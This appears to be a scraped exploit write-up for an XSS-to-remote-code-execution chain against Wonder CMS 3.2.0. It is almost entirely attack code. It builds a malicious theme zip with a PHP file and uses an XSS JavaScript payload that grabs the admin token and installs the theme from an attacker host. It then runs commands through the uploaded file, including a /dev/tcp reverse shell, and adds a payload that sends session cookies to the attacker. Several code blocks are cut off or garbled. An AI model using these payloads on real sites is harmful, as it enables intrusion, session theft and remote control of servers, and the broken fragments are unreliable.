## https://sploitus.com/exploit?id=B05082FE-90B2-5DA3-9142-DC83352C8760
## https://sploitus.com/exploit?id=3A833277-4844-5F02-AFEF-5EA6BA8AC1AC
##############
Wonder CMS RCE
##############
|
| Description : XSS to RCE, Wonder CMS 3.2.0
```$LHOST="10.10.14.152"```
```$LPORT="4444"```
```$LPORTWEB="80"```
# Moving to a tmp dir
cd $(mktemp -d)
# Creating our evil theme zip file
```
mkdir -p evil
cat evil/evil.php
EOF
```
```
zip -r evil.zip evil/
```
# JS payload that will install the new theme
```
cat xssrce.js
var xhr=new XMLHttpRequest();
xhr.open("GET", "${RHOST}/?installModule=http://${LHOST}:${LPORTWEB}/evil.zip&directoryName=whatever&type=themes&token=" + document.querySelectorAll('[name="token"]')[0].value, true);
xhr.send();
EOF
```
# Print XSS url
```
echo -e "\n# XSS RCE"
cat & /dev/tcp/${LHOST}/${LPORT} 0>&1'"
curl --path-as-is "${RHOST}/themes/evil/evil.php?0=$(echo -n "$CMD"| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")"
|
*******
Cookies
*******
| You can also steal cookies (and therefore the php session)
.. code-block:: bash
cat xsscookie.js
var xhr=new XMLHttpRequest();
xhr.open("GET", "http://${LHOST}:${LPORTWEB}/?"+document.cookie, true);
xhr.send();
EOF
echo -e "\n# XSS Retrieve PHP session"
cat <form+action="
EOF
|